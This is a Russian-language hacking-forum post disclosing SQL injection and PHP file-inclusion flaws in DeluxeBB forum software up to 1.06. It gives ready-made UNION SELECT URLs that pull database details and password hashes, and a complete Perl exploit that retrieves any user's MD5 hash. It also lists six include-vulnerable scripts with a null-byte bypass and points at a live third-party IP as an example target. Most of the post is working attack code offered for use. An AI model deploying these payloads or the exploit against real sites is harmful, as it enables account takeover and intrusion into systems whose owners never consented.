Показать сообщение отдельно

  #2  
Старый 15.04.2007, 15:21
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Форум: DeluxeBB
Версия: <= 1.06


Уязвимость в сценарие misc.php, из за недостаточной обработки данных в параметре name можно осуществить SQL инъекцию.

Код:
misc.php?sub=profile&name=0')+UNION+SELECT+1,concat(database(),char(58),version(),char(58),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/*
Пароль пользователя:

Код:
misc.php?sub=profile&name=0')+UNION+SELECT+1,pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+deluxebb_users+where+uid=1/*
где uid= - номер пользователя

Эксплойт:

Код:
#!/usr/bin/perl

# coded by k1b0rg

use LWP::UserAgent;
use strict;
my $site=$ARGV[0];
my $id=$ARGV[1];
my $browser = LWP::UserAgent->new() or die;
my $res=$browser->get($site.'misc.php?sub=profile&name=0\')+UNION+SELECT+1,pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+deluxebb_users+where+uid='.$id.'/*');

if($res->content=~m!<font class="misctext">([a-f0-9]{32})</font>!i)
{
print 'Hash for userid='.$id.': ['.$1.']';
}
else
{
print 'Exploit failed.';
}
Использование эксплойта:

путь к эксплойту сайт и путь до форума номер пользователя

c:\expl.pl http://site.com/forum/ 1

Сайт и путь до форума писать слитно:

http://site.com/forum/ - если форум в директорие forum
http://site.com/bb/ - если форум в директорие bb
http://site.com/ - если форум в корневом каталоге сайта

Резултат работы эксплойта - хеш (md5) пароля выбранного пользователя.

Пример уязвимости:

Код:
http://82.212.43.253/c_forum/misc.php?sub=profile&name=0')+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/*
Уязвимость под относительно старые форумы - всетреить такие можно не часто, особенно если учесть что сами движки форумов не сильно распространены.

------------------------------------------------------------------

Форум: DeluxeBB
Версия: <= 1.06


Из за недостаточной обработки данных в параметре templatefolder есть возможность осуществить php инклюдинг.

Уязвимых сценариев несколько:

Код:
http://site.com/templates/deluxe/postreply.php?templatefolder=[file]

http://site.com/templates/deluxe/posting.php?templatefolder=[file]

http://site.com/templates/deluxe/pm/newpm.php?templatefolder=[file]

http://site.com/templates/default/postreply.php?templatefolder=[file]

http://site.com/templates/default/posting.php?templatefolder=[file]

http://site.com/templates/default/pm/newpm.php?templatefolder=[file]
При проверки узявимости

Код:
http://site.com/templates/deluxe/postreply.php?templatefolder=123
вылезала ошибка из которой было видно что к строке добавляеться /posticons.php (т.е. в результате строка выглядела 123/posticons.php), что отлично исправляеться добавлением к строке %00, т.е. в результате запрос долже выглядить так:

Код:
http://site.com/templates/deluxe/postreply.php?templatefolder=[file]%00

Последний раз редактировалось Grey; 02.05.2008 в 13:45..